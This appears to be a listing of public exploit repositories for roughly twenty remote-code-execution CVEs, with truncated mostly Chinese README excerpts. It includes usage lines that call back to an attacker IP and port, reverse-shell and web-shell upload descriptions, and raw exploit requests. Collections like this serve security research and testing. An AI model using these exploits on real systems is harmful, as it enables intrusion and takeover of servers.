CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 是 Apache Tomcat 中一个严重的远程代码执行（RCE）漏洞。 该漏洞影响版本 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81。 仅在 8.0.24 上测试过。漏洞利用了应用程序或 Tomcat 实例本身配置不当的 PUT 选项。 它使用 PUT 将反向 shell 有效载荷发送到服务器并执行，同时用 netcat 监听。 由于互联网上存在许多相同漏洞的利用版本但基于 python2，我将其重写为与 Python 3 兼容。 祝玩得愉...

CVE-2020-0618

CVE-2020-0618 SQL Server Reporting ServicesCVE-2020-0618中的RCE 漏洞验证POC 可以将以下HTTP请求发送到服务器以利用该应用程序: POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Content-Length: X...

CVE-2023-43654

CVE-2023-43654 ShellTorch 是 PyTorch TorchServe（PyTorch 默认推理服务器）中一系列3个严重漏洞的攻击链。 这是一个端到端 POC，针对一个 SSRF 漏洞，该漏洞可导致从网络发起 任意远程代码执行 1. 运行 TorchServe 0.8.1 docker run -d --rm -it -p 8080:8080 -p 8081:8081 -p 8082:8082 -p 7070:7070 -p 7071:7071 --name shelltorch-demo pytorch/torchserve:0.8.1-cpu docker...

CVE-2019-6340

CVE-2019-6340 仅供教育目的 运行 $ docker run --rm -p 8080:80 knqyf263/cve-2019-6340 利用 GET $ curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?format=haljson" -d ' "link": "value": "link", "options":...

CVE-2020-8816

CVE-2020-8816 Pi-hole 远程代码执行（需要认证）版本 = 4.3.2 用法 python3 CVE-2020-8816.py -u http://10.10.10.10 -i 10.10.14.172 -p 1337 -pass admin 示例 更多信息 https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/...

CVE-2019-18370_XiaoMi_Mi_WIFI_RCE_analysis

Este repositorio no tiene un README...

masta-cve-2026-48907

MASTA CVE-2026-48907 扫描器 单文件、自包含扫描器，用于 Joomla! JCE Editor 作者：Hussein Mohamed masta ghimau !CAUTION 🚨 免责声明 — 使用前请阅读 这是一款侵入式安全测试工具。 THIS TOOL IS FOR AUTHORIZED SECURITY ASSESSMENTS ONLY. Scanning systems you do NOT own or have WRITTEN PERMISSION to test is ILLEGAL in most jurisdictions. The author...

Better-CVE-2022-29464

更好的CVE-2022-29464 某些WSO2产品允许无限制的文件上传，导致远程代码执行。攻击者必须使用一个/fileupload端点，并带有Content-Disposition目录遍历序列，以到达web根目录下的一个目录，例如../../../../repository/deployment/server/webapps目录。 使用方法 python3 main.py https://example.com shell.jsp 将 https://example.com 替换为易受攻击的服务器，并将 shell.jsp 替换为您要用于上传的文件名。 根据需要编辑 shell.jsp...

Strapi-RCE

Strapi-RCE 展示结合了 CVE-2019-18818 和 CVE-2019-19609 的利用脚本，用于在 Strapi CMS 中实现未经认证的远程代码执行。 漏洞利用 此脚本利用了 Strapi CMS 3.0.0-beta.17.4 及更低版本中的一个漏洞，允许未经认证的远程代码执行。 描述 该利用方法首先利用密码重置漏洞获取管理用户的 JSON Web Token JWT。然后使用该令牌向 Strapi CMS 发送恶意负载，从而触发反向 shell 回连到攻击者的机器。 使用方法 1. 克隆仓库： git clone...

ActiveMQ-RCE

ActiveMQ RCE 受影响版本 verison open -a calculator 开启一个 http 服务 python3 -m http.server 运行 Main.java 文件（根据需要修改地址）。...

CVE-2021-26084

CVE-2021-26084 Confluence OGNL 注入 CVE-2021-26084 是 Atlassian Confluence Webwork 实现中的一个对象图导航语言 OGNL 注入漏洞。未经身份验证的远程攻击者可以通过向 Confluence Server 或 Data Center 实例上的易受攻击端点发送特制请求来利用此漏洞。成功利用可允许攻击者执行任意代码。 注意 - 确保更改 collaborator id。 用法 python3 CVE-2021-26084.py http://target 作者 • D0rkerDevil...

Blackash-CVE-2025-0282

Blackash-CVE-2025-0282 描述 Ivanti Connect Secure 22.7R2.5之前版本、Ivanti Policy Secure 22.7R1.2之前版本以及Ivanti Neurons for ZTA gateways 22.7R2.3之前版本中存在一个基于栈的缓冲区溢出漏洞，允许远程未认证攻击者实现远程代码执行。 指标 CNA: ivanti 基础评分: 9.0 严重 ⚫ 向量: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H 上传网页外壳 使用该工具将网页外壳上传到目标系统： python3...

CVE-2024-21006_PoC

CVE-2024-21006 PoC CVE-2024-21006 是一个影响 Oracle WebLogic Server 的严重远程代码执行 RCE 漏洞。该缺陷与 IIOP（Internet Inter-ORB 协议）和 JNDI（Java 命名和目录接口）协议的不安全使用有关，允许未经认证的远程攻击者通过恶意 JNDI 引用在受影响的服务器上执行任意代码。 部署实验室环境 搭建环境： docker-compose up -d 要访问 Kali 的 Shell： docker exec -it cve-2024-21006poc-kali-1 /bin/bash 要访问...

perl_spreadsheet_excel_rce_poc

ParseExcel 安全漏洞 TL;DR：解析格式字符串的逻辑导致 RCE。 漏洞利用简要说明 利用的根本原因在于 Utility.pm 中对未经验证的用户输入调用了 eval。 https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/Utility.pmL171 Uitlity.pm sub ExcelFmt my $formatstr, $number, $is1904,...

laravel-poc-CVE-2018-15133

当 APPKEY 泄露时的 Laravel 远程代码执行 PoC CVE-2018-15133 本仓库包含一个运行在 PHP 7.2.10 上的简单 Laravel 5.6.29 应用程序，其中在 routes/web.php（参见 Dockerfile）中添加了一个基本的 noop 路由，以及针对 CVE-2018-15133 的概念验证利用脚本（cve-2018-15133.php），该脚本应能成功利用该 Laravel 应用程序并在目标系统上执行 uname -a。 如何运行该应用程序并在目标系统上执行 uname -a 的说明 Build the Docker image or...

CVE-2018-20580

CVE-2018-20580 ReadyAPI 2.5.0/2.6.0 远程代码执行（含交互）的概念验证。 简介 2018年12月，我在 ReadyAPI 中发现了一个新漏洞。该漏洞允许攻击者在本地机器上执行远程代码，危及 ReadyAPI 用户（包括开发人员、渗透测试人员等）的安全…… ReadyAPI 允许用户打开 SOAP 项目并导入 WSDL 文件，帮助用户轻松地与远程服务器通信。 WSDL 文件的所有者可以决定某些参数的默认值。攻击者可以冒充合法的 Web 服务，将恶意代码注入其中一个参数的默认值，并将其传播给 ReadyAPI 客户端。 当 ReadyAPI 客户端将恶意的...

CVE-2018-11776

用于CVE-2018-11776的易受攻击的Docker容器 docker pull bhdresh/cve-2018-11776:1.0 docker run -dit -p :8080:8080 bhdresh/cve-2018-11776:1.0 PoC PoC - 1 Request : http://:8080/struts2-showcase-2.3.14/$333+333/help.action Result : http://:8080/struts2-showcase-2.3.14/666/help.action PoC - 2 Request :...

CVE-2022-1329

CVE-2022-1329 WordPress 的 Elementor Website Builder 插件存在漏洞，由于 /core/app/modules/onboarding/module.php 文件中缺少权限检查，导致多个 AJAX 操作可被未授权执行。攻击者可以利用该漏洞修改站点数据，并上传可用于获取远程代码执行权限的恶意文件，影响版本为 3.6.0 至 3.6.2。 身份验证| 复杂度| 攻击向量 ---|---|--- 单一| 低| 网络 机密性| 完整性| 可用性 ---|---|--- 部分| 部分| 部分 CVSS 评分：6.5 参考资料...

CVE-2024-44902

CVE-2024-44902 漏洞描述 Thinkphp v6.1.3 至 v8.0.4 存在反序列化漏洞，允许攻击者执行任意代码。 影响版本 Thinkphp v6.1.3 至 v8.0.4 利用条件 Thinkphp 框架需已安装 Memcached 扩展。 漏洞验证 测试环境：php8.0.7 + thinkphp8.0.4 + memcached3.2.0 首先，在 app\controller\Index.php 中添加一个新的反序列化端点，例如： padding: 0; margin: 0; '; public function hello$name = 'ThinkPHP8...

CVE-2018-2628

CVE-2018-2628 WebLogic反序列化漏洞复现 weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | | / / | | | | \ / / | |/ /| | | || | usage:...